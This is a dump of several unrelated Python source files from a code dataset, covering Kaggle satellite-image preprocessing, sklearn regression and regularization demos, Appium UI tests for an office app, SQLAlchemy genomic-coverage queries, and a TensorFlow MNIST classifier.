coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 09 20:02:03 2017\n\n@author: SriPrav\n\"\"\"\nimport numpy as np\nnp.random.seed(2017)\n\nimport os\nimport glob\nimport cv2\nimport datetime\nimport pandas as pd\nimport time\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom sklearn.cross_validation import KFold\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Flatten\nfrom keras.layers.convolutional import Convolution2D, MaxPooling2D, ZeroPadding2D\nfrom keras.optimizers import SGD\nfrom keras.callbacks import EarlyStopping,Callback, ModelCheckpoint\nfrom keras.utils import np_utils\nfrom sklearn.metrics import log_loss\nfrom keras.layers.normalization import BatchNormalization\nfrom keras import __version__ as keras_version\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport random\n\ninDir = 'C:/Users/SriPrav/Documents/R/27Planet'\n\nfrom tqdm import tqdm\n\nx_train = []\ny_train = []\nx_test = []\n\ntrain_file = inDir + \"/input/train_images.csv\"\ntest_file = inDir + \"/input/test_images.csv\"\ntest_additional_file = inDir + \"/input/test_additional_images.csv\"\ntrain_df = pd.read_csv(train_file)\ntest_df = pd.read_csv(test_file)\ntest_additional_df = pd.read_csv(test_additional_file)\nprint(train_df.shape) # (40479, 4)\nprint(test_df.shape) # (40669, 2)\nprint(test_additional_df.shape) # (20522, 2)\n\ntest_all = pd.concat([test_df,test_additional_df])\nprint(test_all.shape) # (20522, 2)\n\n\nROWS = 224\nCOLUMNS = 224\nCHANNELS = 3\nVERBOSEFLAG = 1\n\n\n\ny_train = []\n\nflatten = lambda l: [item for sublist in l for item in sublist]\nlabels = list(set(flatten([l.split(' ') for l in train_df['tags'].values])))\n\nlabel_map = {l: i for i, l in enumerate(labels)}\ninv_label_map = {i: l for l, i in label_map.items()}\n\nfor tag in train_df.tags.values:\n targets = np.zeros(17)\n for t in tag.split(' '):\n targets[label_map[t]] = 1\n y_train.append(targets)\n \ny_train = np.array(y_train, np.uint8)\n \ndef centering_image(img):\n size = [256,256]\n \n img_size = img.shape[:2]\n \n # centering\n row = (size[1] - img_size[0]) // 2\n col = (size[0] - img_size[1]) // 2\n resized = np.zeros(list(size) + [img.shape[2]], dtype=np.uint8)\n resized[row:(row + img.shape[0]), col:(col + img.shape[1])] = img\n\n return resized\n \n#def random_rotate(image):\n# cols = image.shape[1]\n# rows = image.shape[0]\n# mean_color = np.mean(image, axis=(0, 1))\n#\n# angle = random.uniform(0, 90)\n# M = cv2.getRotationMatrix2D((cols / 2, rows / 2), angle, 1)\n# if random.randint(0, 1) == 1:\n# dst = cv2.warpAffine(image, M, (cols, rows), borderValue=mean_color, borderMode=cv2.BORDER_REFLECT)\n# else:\n# dst = cv2.warpAffine(image, M, (cols, rows), borderValue=mean_color)\n# return dst\n\n \n \ndef get_im_cv2(path):\n img = cv2.imread(path)#path = \"C:/Users/SriPrav/Documents/R/27Planet/input/train-jpg/train_24477.jpg\"\n# plt.imshow(img)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n #filp \n img =cv2.flip(img,0)\n \n# plt.imshow(img)\n #resize\n if(img.shape[0] > img.shape[1]):\n tile_size = (int(img.shape[1]*256/img.shape[0]),256)\n else:\n tile_size = (256, int(img.shape[0]*256/img.shape[1]))\n \n #centering\n img = centering_image(cv2.resize(img, dsize=tile_size))\n \n #out put 224*224px \n img = cv2.resize(img, (ROWS, COLUMNS))#, cv2.INTER_LINER\n \n return img\n \ndef load_train_fromfile():\n X_train = []\n X_train_id = []\n\n start_time = time.time()\n\n for fl in train_df.image_path.values:\n print(fl)\n flbase = os.path.basename(fl) # \"C:\\Users\\SriPrav\\Documents\\R\\\\22Intel\\\\input\\\\train\\\\Type_1\\\\a_Type_1\\\\10.jpg\"\n img = get_im_cv2(fl)\n X_train.append(img)\n X_train_id.append(flbase)\n print('Read train data time: {} seconds'.format(round(time.time() - start_time, 2)))\n return X_train, X_train_id\n \ndef load_test_fromfile():\n X_test = []\n X_test_id = []\n\n start_time = time.time()\n\n for fl in test_all.image_path.values:\n print(fl)\n flbase = os.path.basename(fl) # \"C:\\Users\\SriPrav\\Documents\\R\\\\22Intel\\\\input\\\\train\\\\Type_1\\\\a_Type_1\\\\10.jpg\"\n img = get_im_cv2(fl)\n \n X_test.append(img)\n X_test_id.append(flbase)\n print('Read train data time: {} seconds'.format(round(time.time() - start_time, 2)))\n return X_test, X_test_id\n \n\ndef read_and_normalize_train_data():\n train_data, train_id = load_train_fromfile()\n train_target = y_train\n print('Convert to numpy...')\n train_data = np.array(train_data, dtype=np.uint8)\n# train_target = np.array(train_target, dtype=np.uint8)\n\n print('Reshape...')\n train_data = train_data.transpose((0, 3, 1, 2))\n\n print('Convert to float...')\n# train_data = train_data.astype('float32')\n# train_data = train_data / 255\n# train_target = np_utils.to_categorical(train_target, 3)\n\n print('Train shape:', train_data.shape)\n print(train_data.shape[0], 'train samples')\n return train_data, train_target, train_id\n\n\ndef read_and_normalize_test_data():\n start_time = time.time()\n test_data, test_id = load_test_fromfile()\n\n test_data = np.array(test_data, dtype=np.uint8)\n test_data = test_data.transpose((0, 3, 1, 2))\n\n# test_data = test_data.astype('float32')\n# test_data = test_data / 255\n\n print('Test shape:', test_data.shape)\n print(test_data.shape[0], 'test samples')\n print('Read and process test data time: {} seconds'.format(round(time.time() - start_time, 2)))\n return test_data, test_id\n\n#train_data, train_target, train_id = read_and_normalize_train_data()\ntest_data, test_id = read_and_normalize_test_data()\n\n######################################################################################################################\n#np.save(inDir +\"/input/train_data_hflip_aug_224_3.npy\",train_data)\n#np.save(inDir +\"/input/train_target_hflip_aug_224_3.npy\",train_target)\n#np.save(inDir +\"/input/train_id_hflip_aug_224_3.npy\",train_id)\n\nnp.save(inDir +\"/input/test_data_hflip_aug_224_3.npy\",test_data)\nnp.save(inDir +\"/input/test_id_hflip_aug_224_3.npy\",test_id)\n######################################################################################################################\n","sub_path":"Planet/2000.Prepare_source_numpyFiles_horizontalflip_augmentation.py","file_name":"2000.Prepare_source_numpyFiles_horizontalflip_augmentation.py","file_ext":"py","file_size_in_byte":6271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"614954604","text":"from sklearn import datasets\nimport matplotlib.pyplot as plt\n\ndiabetes = datasets.load_diabetes() # 얼바인 DB에서 데이터 가져오기\n\nprint(diabetes.data.shape, diabetes.target.shape) # 442개의 지표와 10개의 항목\nprint(diabetes.data[:5]) # 나이(age), 성별(sex), 체질량(bmi), 혈압(bp) 그리고 혈액 검사 내용 s1~s6\nprint(diabetes.target[:10]) # 당뇨병의 악화된 정도\n\nplt.scatter(diabetes.data[:,2], diabetes.target) # 체질량(bmi)에 따른 당뇨병 악화�� 정도를 2차원 그래프로 출력\nplt.xlabel('x=bmi')\nplt.ylabel('y=diabetes')\nplt.show() # 그래프 출력","sub_path":"diabetes.py","file_name":"diabetes.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"158677950","text":"from sys import stdin\ndef solve(arr,n,m):\n minutos=0\n while len(arr)>0:\n if m==0 and arr[0]==max(arr):\n minutos+=1\n break\n elif m==0 and arr[0]!=max(arr):\n m=len(arr)-1\n arr.append(arr[0])\n del arr[0]\n elif m!=0 and arr[0]==max(arr):\n del arr[0]\n m-=1\n minutos+=1\n elif m!=0 and arr[0]!=max(arr):\n m-=1\n arr.append(arr[0])\n del arr[0]\n print(minutos)\ndef main():\n n=int(stdin.readline())\n for i in range(n):\n n,m=[int(x) for x in stdin.readline().strip().split()]\n arr=[int(x) for x in stdin.readline().strip().split()]\n solve(arr,n,m)\nmain()\n\"\"\"\n\n print(\"arr\",arr,\"len(arr)\",len(arr),\"m\",m,\"minutos\",minutos,\"primer if\")\n print(\"arr\",arr,\"len(arr)\",len(arr),\"m\",m,\"minutos\",minutos,\"segundo if\")\n print(\"arr\",arr,\"len(arr)\",len(arr),\"m\",m,\"minutos\",minutos,\"tercer if\")\n print(\"arr\",arr,\"len(arr)\",len(arr),\"m\",m,\"minutos\",minutos,\"cuarto if\")\n\"\"\"\n","sub_path":"ejercicios/Data structures simples/printer.py","file_name":"printer.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"378899796","text":"# 규제(Regularization):\r\n# 모델을 훈련할 때, 비용 함수(cost function, J)에 항을 추가해서\r\n# 일부러 에러를 키우는 방법\r\n# -> 훈련 세트에 대해서 에러가 커지기 때문에 과적합을 줄일 수 있음.\r\n# 1) Ridge 규제(l2 규제): MSE + alpha * l2-norm\r\n# l2-norm: theta**2\r\n# 각 계수들을 줄여주는 효과\r\n# 2) Lasso 규제(l1 규제): MSE + alpha * l1-norm\r\n# l1-norm: | theta |\r\n# 몇 개의 중요한 특성들만 남고, 중요하지 않은 많은 변수들의 계수들은 0이 됨.\r\n# 3) Elastic Net: Ridge(l2)와 Lasso(l1)의 혼합\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom sklearn.linear_model import Ridge, Lasso, LinearRegression, SGDRegressor\r\nfrom sklearn.pipeline import Pipeline\r\nfrom sklearn.preprocessing import PolynomialFeatures, StandardScaler\r\n\r\nif __name__ == '__main__':\r\n np.random.seed(1)\r\n\r\n m = 50\r\n X = 3 * np.random.rand(m, 1)\r\n y = 1 + 2 * X + np.random.randn(m, 1)\r\n\r\n # plt.scatter(X, y)\r\n # plt.show()\r\n\r\n X_new = np.linspace(0, 3, 1000).reshape((1000, 1))\r\n\r\n # Ridge 규제(l2 규제)\r\n alphas = (0, 1, 10, 100) # l2 규제에서 사용할 alpha 값들\r\n for alpha in alphas:\r\n model = Ridge(alpha=alpha, random_state=1) # 모델 선택\r\n model.fit(X, y) # 모델 훈련(y = theta0 + theta1 * X)\r\n print(f'*** alpha = {alpha} ***')\r\n print(model.intercept_, model.coef_)\r\n y_new_pred = model.predict(X_new)\r\n plt.plot(X_new, y_new_pred, label=f'alpha={alpha}')\r\n\r\n print('mean y =', np.mean(y))\r\n plt.scatter(X, y, color='gray')\r\n plt.legend()\r\n plt.show()\r\n\r\n print()\r\n # alphas = (0, 1e-5, 0.1, 1) # Ridge\r\n alphas = (0, 1e-7, 1e-5, 1e-3) # Lasso\r\n # PolynomialFeatures를 사용해서 degree=10의 Ridge 결과 그래프\r\n for alpha in alphas:\r\n poly_features = PolynomialFeatures(degree=10, include_bias=False)\r\n scaler = StandardScaler()\r\n # model = Ridge(alpha=alpha, random_state=1)\r\n if alpha == 0:\r\n model = LinearRegression()\r\n else:\r\n model = Lasso(alpha=alpha, random_state=1, tol=1)\r\n poly_model = Pipeline([\r\n ('poly', poly_features),\r\n ('scaler', scaler),\r\n ('regular', model)\r\n ])\r\n poly_model.fit(X, y)\r\n print(f'*** alpha={alpha} ***')\r\n print(model.coef_)\r\n y_new_pred = poly_model.predict(X_new)\r\n plt.plot(X_new, y_new_pred, label=f'alpha={alpha}')\r\n\r\n plt.scatter(X, y, color='darkgray')\r\n plt.legend()\r\n plt.show()\r\n\r\n print()\r\n sgd_reg = SGDRegressor()\r\n","sub_path":"lab-ml/ch04/ex11_regularization.py","file_name":"ex11_regularization.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"380049749","text":"import time\nimport unittest\nimport logging\nfrom businessView.generalView import GeneralView\nfrom businessView.openView import OpenView\nfrom businessView.wpView import WpView\n\nfrom common.myunit import StartEnd\n\n\nclass TestWordLookOption(StartEnd):\n\n\n\n def test_wp_self_adaption(self):\n # 阅读���适应\n logging.info('==========test_wp_self_adaption==========')\n ov = OpenView(self.driver)\n ov.open_file('欢迎使用永中Office.docx')\n wp_lookup = WpView(self.driver)\n wp_lookup.self_adaption()\n A_self = ov.exist(\"//*[@resource-id='com.yozo.office:id/yozo_ui_app_frame_title_container']\")\n B_self = ov.exist(\"//*[@resource-id='com.yozo.office:id/yozo_ui_app_frame_option_container']\")\n self.assertFalse(A_self, msg='self_adaption title_container exist!')\n self.assertFalse(B_self, msg='self_adaption option_container exist!')\n\n\n\n def test_wp_find_replace(self):\n logging.info('==========test_wp_find_replace==========')\n ov = OpenView(self.driver)\n ov.open_file('欢迎使用永中Office.docx')\n gv = GeneralView(self.driver)\n gv.switch_write_read()\n wv = WpView(self.driver)\n wv.switch_option('查看')\n wp_lookup = WpView(self.driver)\n\n wp_lookup.wp_find_replace()\n\n def test_wp_bookmark(self):\n logging.info('==========test_wp_bookmark==========')\n ov = OpenView(self.driver)\n ov.open_file('欢迎使用永中Office.docx')\n gv = GeneralView(self.driver)\n gv.switch_write_read()\n wv = WpView(self.driver)\n wv.switch_option('查看')\n wp_lookup = WpView(self.driver)\n self.assertTrue(wp_lookup.wp_bookmark(), msg='test_wp_bookmark fail')\n\n def test_wp_jump(self):\n logging.info('==========test_wp_bookmark==========')\n ov = OpenView(self.driver)\n ov.open_file('欢迎使用永中Office.docx')\n gv = GeneralView(self.driver)\n gv.switch_write_read()\n wv = WpView(self.driver)\n wv.switch_option('查看')\n wp_lookup = WpView(self.driver)\n wp_lookup.wp_jump()\n time.sleep(2)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test_case/test_wp_lookoption.py","file_name":"test_wp_lookoption.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"518715301","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, unicode_literals\nimport itertools\n\nfrom chanjo import Store\nfrom chanjo.sex_checker import predict_gender\nfrom chanjo.store import Block, BlockData, Interval, IntervalData, Sample, SuperblockData, Interval_Block\nimport sqlalchemy as sqa\nfrom toolz import concat, groupby, pluck\nfrom toolz.curried import get\n\nfrom .utils import getitem, limit_query, get_columns\nfrom .._compat import itervalues\n\n\nclass Miner(Store):\n\n \"\"\"Thin wrapper around the Chanjo Store to expose an extended API.\n\n Also works as a basic Flask extensions with lazy loading via the\n ``.init_app`` method.\n\n Args:\n uri (str): path or URI of Chanjo database\n dialect (str): [adapter +] database type\n \"\"\"\n\n def __init__(self, uri=None, dialect='sqlite'):\n super(Miner, self).__init__(uri, dialect)\n\n if uri:\n self.connect(uri, dialect=dialect)\n\n def init_app(self, app, base_key='CHANJO_'):\n \"\"\"Configure API (Flask style) after lazy initialization.\n\n Args:\n app (Flask app): Flask app instance\n base_key (str): namespace to look for under ``app.config``\n\n Returns:\n object: ``self`` for chainability\n \"\"\"\n uri = app.config.get(base_key + 'DB') or 'coverage.sqlite3'\n dialect = app.config.get(base_key + 'DIALECT') or 'sqlite'\n\n self.connect(uri, dialect=dialect)\n\n return self\n\n def samples(self, group=None):\n \"\"\"Fetch samples from the database.\n\n Args:\n group (str, optional): limit samples to within a group\n\n Returns:\n query: query for samples, possibly limited by a group ID\n \"\"\"\n # initiate base query for all sample data (as objects)\n # order by the ID column, the same as always\n query = self.query(Sample).order_by(Sample.id)\n\n if group:\n # filter samples by a given group\n query = query.filter(Sample.group_id == group)\n\n # return the non-exucuted query\n return query\n\n def get_set_info(self, attributes=None, subset=None,\n element_class='superblock'):\n \"\"\"Fetch (sub)set and attributes loaded in the database.\n\n Args:\n attribute (list, optional): List columns in database. Limit to\n subset using first attribute element.\n Group by first attribute element.\n subset (str, optional): Limit query to subset\n element_class (str, optional): Id of the element class e.g.\n 'superblock'\n\n Returns:\n list: Results (sub)set with attributes from element_class \n grouped by first attribute\n \"\"\"\n # Fetch the requested data class ORM\n data_class = self.get('class', element_class)\n \n # Populate attribute with column names if not supplied\n if attributes is None:\n c = data_class.__table__.columns\n attributes = c.keys()\n\n # Fetch columns from class\n columns = get_columns(attributes, data_class)\n query = self.query(*columns)\n\n # Filter for subset\n if subset:\n query = query.filter(columns[0].in_(subset))\n\n # Aggregate result by first attribute\n query = query.group_by(columns[0]) \n \n # Return query\n return query\n\n def element_coverage(self, attribute=\"coverage\", samples=None, threshold=10,\n element_class=\"superblock_data\"):\n \"\"\"Fetch all elements below threshold for samples\n Args:\n attribute (str, optional): Element attribute to apply threshold for\n samples (list, optional): Samples to be queried\n threshold (int, optional): Elements below threshold are returned\n element_class (str, optional): Id of the element class e.g. 'superblock'\n\n Returns:\n list: Intersect of elements for all samples\n \"\"\"\n data_class = self.get('class', element_class)\n \n # Collect all samples if none were supplied\n if samples is None:\n samples = self.fetch_samples_list()\n\n # Holds the queries for each sample\n elements_per_sample = []\n\n # Irrespective of samples i.e. all genes below threshold for later intersect\n elements = self.query(data_class.parent_id).filter(getattr(data_class, attribute) <= threshold)\\\n .group_by(data_class.parent_id)\n \n for sample in samples:\n # Fetch all elements below threshold for each sample\n query = self.query(data_class.parent_id).filter(getattr(data_class, attribute) <= threshold,\\\n data_class.sample_id == sample).group_by(data_class.parent_id)\n # Add to list for later intersect\n elements_per_sample.append(query)\n \n # Intersect all elements for all samples\n for query in elements_per_sample: \n elements = elements.intersect(query)\n\n # Return list of elements\n return elements\n\n def interval_to_block(self, subset=None):\n \"\"\"Fetch all intervals associated with block (sub)set\n Args:\n subset (str, optional): Limit query to subset\n Returns:\n list: Result of query\n \"\"\"\n query = self.query(IntervalData.parent_id, Block.id).\\\n join(Interval, IntervalData, Interval_Block, Block)\n\n samples = self.fetch_samples_list()\n sample = samples.pop()\n\n # Filter for subset\n if subset:\n query = query.filter(Block.id.in_(subset))\n\n # Collapse output to singel sample since all blocks are identical for every sample\n query = query.filter(IntervalData.sample_id == sample).group_by(IntervalData.parent_id)\n \n return query\n\n def average_metrics(self, data_class=IntervalData, superblock_ids=None):\n \"\"\"Calculate average for coverage and completeness.\n\n It's possible to build on the returned query to e.g. group results\n by contig.\n\n To work within the constraints of the SQL schema, queries limited to\n a list of superblocks are calculated on the level of blocks rather\n than intervals.\n\n Args:\n data_class (class, optional): Chanjo *Data class, e.g.\n :class:`chanjo.store.Interval`\n superblock_ids (list of str, optional): superblock IDs\n\n Returns:\n query: non-executed SQLAlchemy query\n \"\"\"\n if superblock_ids:\n # overwrite the default if limiting to a subset of superblocks\n data_class = BlockData\n\n # set up base query\n query = self.query(data_class.sample_id,\n data_class.group_id,\n (sqa.func.avg(data_class.coverage)\n .label('avg. coverage')),\n (sqa.func.avg(data_class.completeness)\n .label('avg. completeness')))\n\n if superblock_ids:\n # apply the superblock filter on the Block class level\n query = query.join(BlockData.parent)\\\n .filter(Block.superblock_id.in_(superblock_ids))\n\n # group and order by \"sample_id\" => return\n return query.group_by(data_class.sample_id).order_by(data_class.sample_id)\n\n def total_count(self, data_class=IntervalData):\n \"\"\"Count all rows in a given table.\n\n Works on any Chanjo *Data class.\n\n Args:\n data_class (class, optional): Chanjo *Data class\n (default: :class:`chanjo.store.Interval`)\n\n Returns:\n query: non-executed SQLAlchemy query\n \"\"\"\n # build base queries for the total number of annotated elements\n return self.query(data_class.sample_id,\n data_class.group_id,\n (sqa.func.count(data_class.id)\n .label(data_class.__tablename__ + ' count'))\n ).group_by(data_class.sample_id)\\\n .order_by(data_class.sample_id)\n\n def sex_chromosome_coverage(self):\n \"\"\"Build query for average coverage on X/Y chromosomes.\n\n Useful when predicting the gender of a sample based on the alignment.\n \"\"\"\n # build the query by inner joining Interval and IntervalData\n query = self.query(IntervalData.sample_id,\n Interval.contig.label('chromosome'),\n (sqa.func.avg(IntervalData.coverage)\n .label('avg. coverage'))\n ).join(IntervalData.parent)\n\n # filter by sex chromosomes\n sex_chromosomes = ('X', 'Y')\n query = query.filter(Interval.contig.in_(sex_chromosomes))\n\n # aggregate the result on sample id and contig\n return query.group_by(IntervalData.sample_id, Interval.contig)\n\n def sex_checker(self, group_id=None, sample_ids=None,\n include_coverage=False):\n \"\"\"Predict gender based on coverage on X/Y chromosomes.\"\"\"\n # limit query on request\n query = limit_query(self.sex_chromosome_coverage(), group=group_id,\n samples=sample_ids)\n\n # group tuples (rows) based on first item (sample ID)\n samples = itertools.groupby(query, getitem(0))\n\n for sample in samples:\n # extract X and Y coverage from the sample group\n sample_id, data_group = sample\n sex_coverage = [coverage for _, _, coverage in data_group]\n\n # run the predictor\n gender = predict_gender(*sex_coverage)\n\n if include_coverage:\n # return also raw coverage numbers\n yield sample_id, gender, sex_coverage[0], sex_coverage[1]\n\n else:\n yield sample_id, gender\n\n def gc_content(self, query=None, gc_amount='high', gene_ids=None):\n \"\"\"Generate query to estimate coverage performace.\n\n Works by default on a small subset of genes with high/low GC\n content levels (BioMart).\n \"\"\"\n # use the average metrics query unless otherwise requested\n query = query or self.average_metrics()\n\n if gc_amount == 'high':\n # highest GC content supersets\n identifiers = gene_ids or ['UTF1', 'BHLHA9', 'C20orf201', 'LRRC26',\n 'HES4', 'BHLHE23', 'C9orf172', 'NKX6-2',\n 'CITED4']\n\n elif gc_amount == 'low':\n # lowest GC content supersets\n identifiers = gene_ids or ['DEFB114', 'NTS', 'ANGPTL3', 'CYLC2',\n 'GPR22', 'SI', 'CSN3', 'KLRC4', 'CSN1S1']\n\n else:\n raise ValueError(\"'gc_amount' must be either 'high' or 'low'\")\n\n # build and return the query\n return query.filter(SuperblockData.parent_id.in_(identifiers))\n\n def covered_bases(self):\n \"\"\"Count the number of covered bases across exome (full completeness).\n\n Returns:\n query: non-executed SQLAlchemy query\n \"\"\"\n # number of bases per interval\n bp_per_interval = (Interval.end - (Interval.start + 1)\n + (Sample.extension * 2))\n # number of bases fully covered per interval\n covered_bp_per_interval = bp_per_interval * IntervalData.completeness\n\n # compose SQL query for all samples in database\n return self.query(IntervalData.sample_id,\n IntervalData.group_id,\n (sqa.func.sum(covered_bp_per_interval)\n / sqa.func.sum(bp_per_interval)).label('covered bases')\n ).group_by(IntervalData.sample_id)\\\n .order_by(IntervalData.sample_id)\n\n def pass_filter(self, sample_id, data_class=BlockData,\n metric='completeness', cutoff=1):\n \"\"\"Filter out elements that pass a certain filter cutoff.\n\n You need to filter down to a single sample since this is the only\n thing that makes sense for the end result.\n \"\"\"\n # extract column to filter on\n metric_column = getattr(data_class, metric)\n\n # set up base query\n return self.query(data_class)\\\n .filter(metric_column >= cutoff)\\\n .filter_by(sample_id=sample_id)\\\n\n def pass_filter_count(self, data_class=BlockData,\n metric='completeness', cutoff=1):\n \"\"\"Count all elements that pass a cutoff for a given metric.\n\n You can choose to count the elements by calling \".count()\" on the\n returned query instead of iterating over it.\n \"\"\"\n # extract column to filter on\n metric_column = getattr(data_class, metric)\n\n # set up base query\n return self.total_count(data_class=data_class)\\\n .filter(metric_column >= cutoff)\n\n def diagnostic_yield(self, metric='completeness', cutoff=1,\n superblock_ids=None, group_id=None, sample_ids=None):\n \"\"\"Calculate diagnostic yield.\"\"\"\n # extract column to filter on\n metric_column = getattr(BlockData, metric)\n\n # set up the base query for all blocks\n total_query = self.total_count(BlockData)\n\n if superblock_ids:\n # apply the superblock filter on the Block class level\n total_query = total_query.join(BlockData.parent)\\\n .filter(Block.superblock_id.in_(superblock_ids))\n\n # extend base query to include only passed blocks\n pass_query = total_query.filter(metric_column >= cutoff)\n\n # optionally limit query\n queries = [limit_query(query, group=group_id, samples=sample_ids)\n for query in (total_query, pass_query)]\n\n # group multiple queries by sample ID (first column)\n metrics = groupby(get(0), concat(queries))\n\n # iterate over all values, concat different query results\n combined = (concat(values) for values in itervalues(metrics))\n\n # keep only the unique values (excluding second sample_id/group_id)\n combined_min = []\n for result_gen in combined:\n result = list(result_gen)\n combined_min.append(result[:3] + result[-1:])\n\n # calculate diagnostic yield by simple division\n for sample_id, group_id, total, covered in combined_min:\n yield sample_id, group_id, (covered / total)\n\n def contig_coverage(self, contigs=None, samples=None, group=None):\n \"\"\"Calculates coverage on contig(s)\n\n Args:\n contigs (str, optional): Contig(s) to calculate average for\n samples (str, optional): Id of sample(s)\n group (str, optional): Id of group \n\n Returns:\n list: Result grouped with sample Id\n \"\"\"\n # Three columns are needed for the prediction\n average = sqa.func.avg(IntervalData.coverage)\n columns = (IntervalData.sample_id, Interval.contig_id, average)\n # Build the query by inner joining Interval and IntervalData\n query = self.query(*columns)\\\n .join(Interval, IntervalData.parent_id == Interval.id)\n \n if contigs:\n # Filter by contig\n query = query.filter(Interval.contig_id.in_(contigs))\n\n if samples:\n # Filter either by a list of samples...\n query = query.filter(IntervalData.sample_id.in_(samples))\n\n elif group:\n # ... or by a defined group of samples (e.g. group Id)\n query = query.join(Sample, IntervalData.sample_id == Sample.id)\\\n .filter(Sample.group_id == group)\n\n # Aggregate the result on sample Id and contig\n return query.group_by(IntervalData.sample_id, Interval.contig_id)\n","sub_path":"chanjo_report/miner/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":14707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"121783590","text":"\n# Example: Mutable and immutable parameters.\n\ndef change(var1, var2):\n \"\"\"Change two values.\"\"\"\n var1 += [7]\n var2 += 7\n \n \ndata = [3,4,5]\nnumber = 6\n\nchange(data, number)\n\nprint(\"The list now contains\", data)\nprint(\"The number is now\", number)\n\n\n","sub_path":"functions/function_parameters/mutable_immutable_parameters.py","file_name":"mutable_immutable_parameters.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"558947190","text":"import tensorflow as tf\r\nimport os\r\nos.environ['CUDA_VISIBLE_DEVICES'] = \"0\"\r\nconfig = tf.ConfigProto()\r\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.4\r\n\r\nfrom tensorflow.examples.tutorials.mnist import input_data\r\nmnist = input_data.read_data_sets(\"./dataset/mnist/\", one_hot=True)\r\n\r\nX = tf.placeholder(tf.float32, [None, 784])\r\nY = tf.placeholder(tf.float32, [None, 10])\r\nkeep_prob = tf.placeholder(tf.float32)\r\nis_training = tf.placeholder(tf.bool)\r\nepsilon = 1e-3\r\n\r\nW1 = tf.Variable(tf.random_normal([784, 256], stddev=0.01))\r\nB1 = tf.Variable(tf.random_normal(shape=[256], stddev=0.01))\r\nL1 = tf.matmul(X, W1) + B1\r\nL1 = tf.contrib.layers.batch_norm(L1, is_training=is_training, center=True, scale = True, updates_collections=None)\r\nL1 = tf.nn.relu(L1)\r\nL1 = tf.nn.dropout(L1, keep_prob)\r\n\r\nW2 = tf.Variable(tf.random_normal([256, 256], stddev=0.01))\r\nB2 = tf.Variable(tf.random_normal(shape=[256], stddev=0.01))\r\nL2 = tf.matmul(L1, W2) + B2\r\nL2 = tf.contrib.layers.batch_norm(L2, is_training=is_training, center=True, scale = True, updates_collections=None)\r\nL2 = tf.nn.relu(L2)\r\nL2 = tf.nn.dropout(L2, keep_prob)\r\n\r\nW3 = tf.Variable(tf.random_normal([256, 256], stddev=0.01))\r\nB3 = tf.Variable(tf.random_normal(shape=[256], stddev=0.01))\r\nL3 = tf.matmul(L2, W3) + B3\r\nL3 = tf.contrib.layers.batch_norm(L3, is_training=is_training, center=True, scale = True, updates_collections=None)\r\nL3 = tf.nn.relu(L3)\r\nL3 = tf.nn.dropout(L3, keep_prob)\r\n\r\nW4 = tf.Variable(tf.random_normal([256, 256], stddev=0.01))\r\nB4 = tf.Variable(tf.random_normal(shape=[256], stddev=0.01))\r\nL4 = tf.matmul(L3, W4) + B4\r\nL4 = tf.contrib.layers.batch_norm(L4, is_training=is_training, center=True, scale = True, updates_collections=None)\r\nL4 = tf.nn.relu(L4)\r\nL4 = tf.nn.dropout(L4, keep_prob)\r\n\r\n\r\nW5 = tf.Variable(tf.random_normal([256, 10], stddev=0.01))\r\nB5 = tf.Variable(tf.random_normal(shape=[10], stddev=0.01))\r\nmodel = tf.nn.softmax(tf.matmul(L4, W5) + B5)\r\n\r\ncost = tf.reduce_mean(-tf.reduce_sum(Y * tf.log(tf.clip_by_value(model, 1e-10, 1.0)), [1]))\r\noptimizer = tf.train.AdamOptimizer(0.001).minimize(cost)\r\n\r\ninit = tf.global_variables_initializer()\r\nsess = tf.Session(config=config)\r\nsess.run(init)\r\n\r\nbatch_size = 100\r\ntotal_batch = int(mnist.train.num_examples / batch_size)\r\n\r\nis_correct = tf.equal(tf.argmax(model, 1), tf.argmax(Y, 1))\r\naccuracy = tf.reduce_mean(tf.cast(is_correct, tf.float32))\r\n\r\nfor epoch in range(15):\r\n total_cost = 0\r\n\r\n for i in range(total_batch):\r\n batch_xs, batch_ys = mnist.train.next_batch(batch_size)\r\n\r\n _, cost_val = sess.run([optimizer, cost], feed_dict={X: batch_xs, Y: batch_ys, keep_prob: 0.7, is_training: True})\r\n total_cost += cost_val\r\n\r\n print('Epoch:', '%04d' % (epoch + 1), 'Avg. cost =', '{:.3f}'.format(total_cost / total_batch), 'Train Acc. =', sess.run(accuracy, feed_dict={X: mnist.train.images, Y: mnist.train.labels, keep_prob: 1.0, is_training: False}))\r\n\r\nprint('Training Done!')\r\nprint('Test Acc. = ', sess.run(accuracy, feed_dict={X: mnist.test.images, Y: mnist.test.labels, keep_prob: 1.0, is_training: False }))\r\nsess.close()","sub_path":"2. SKKU/4.NLP_Deep_Learning/day1/1-1. DN/3. 5-l Dense Network Complete.py","file_name":"3. 5-l Dense Network Complete.py","file_ext":"py","file_size_in_byte":3123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"613279171","text":"import numpy as np\nimport scipy\nimport scipy.interpolate as interp\nimport scipy.stats as st\nimport scipy.signal as sig\n\nimport pickle\nimport os\n\nimport astropy as ap\nfrom astropy.io import fits\nfrom astropy import table as t\nfrom astropy.table import Table\nfrom astropy import wcs\nfrom astropy.cosmology import WMAP9 as 